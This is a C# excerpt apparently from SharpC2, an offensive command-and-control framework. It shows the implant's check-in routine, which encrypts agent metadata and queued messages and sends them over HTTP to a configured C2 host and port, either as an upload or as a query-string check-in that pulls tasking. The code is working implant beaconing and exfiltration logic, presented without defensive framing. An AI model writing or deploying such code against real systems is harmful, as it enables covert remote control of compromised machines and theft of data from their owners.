private void AgentCheckIn()
{
var host = Config.GetOption(ConfigSetting.ConnectHosts) as string;
var port = Config.GetOption(ConfigSetting.ConnectPort) as string;
var metadata = Config.GetOption(ConfigSetting.Metadata) as AgentMetadata;
var encryptedMetadata = Crypto.Encrypt(metadata);
var client = new WebClient();
client.Headers.Clear();
client.Headers.Add("X-Malware", "SharpC2");
client.Headers[HttpRequestHeader.Cookie] = string.Format("{0}={1}", "Metadata", Convert.ToBase64String(encryptedMetadata));
client.DownloadDataCompleted += DownloadDataCallback;
client.UploadDataCompleted += UploadDataCallback;
List <AgentMessage> agentMessages = new List <AgentMessage>();
if (OutboundC2Data.Count > 0)
{
while (OutboundC2Data.Count != 0)
{
agentMessages.Add(OutboundC2Data.Dequeue());
}
var encryptedAgentMessage = Crypto.Encrypt(agentMessages);
var dataToSend = string.Format("Message={0}", Convert.ToBase64String(encryptedAgentMessage));
var uri = new Uri(string.Format("http://{0}:{1}", host, port));
client.UploadDataAsync(uri, Encoding.UTF8.GetBytes(dataToSend));
}
else
{
agentMessages.Add(new AgentMessage
{
IdempotencyKey = Guid.NewGuid().ToString(),
Metadata = new AgentMetadata {
AgentID = metadata.AgentID
},
Data = new C2Data {
Module = "Core", Command = "AgentCheckIn"
}
});
var encryptedAgentMessage = Crypto.Encrypt(agentMessages);
var dataToSend = string.Format("Message={0}", Convert.ToBase64String(encryptedAgentMessage));
var uri = new Uri(string.Format("http://{0}:{1}?{2}", host, port, dataToSend));
client.DownloadDataAsync(uri);
}
client.Dispose();
}
public void SendData(AgentMessage message)
{
OutboundC2Data.Enqueue(message);
}
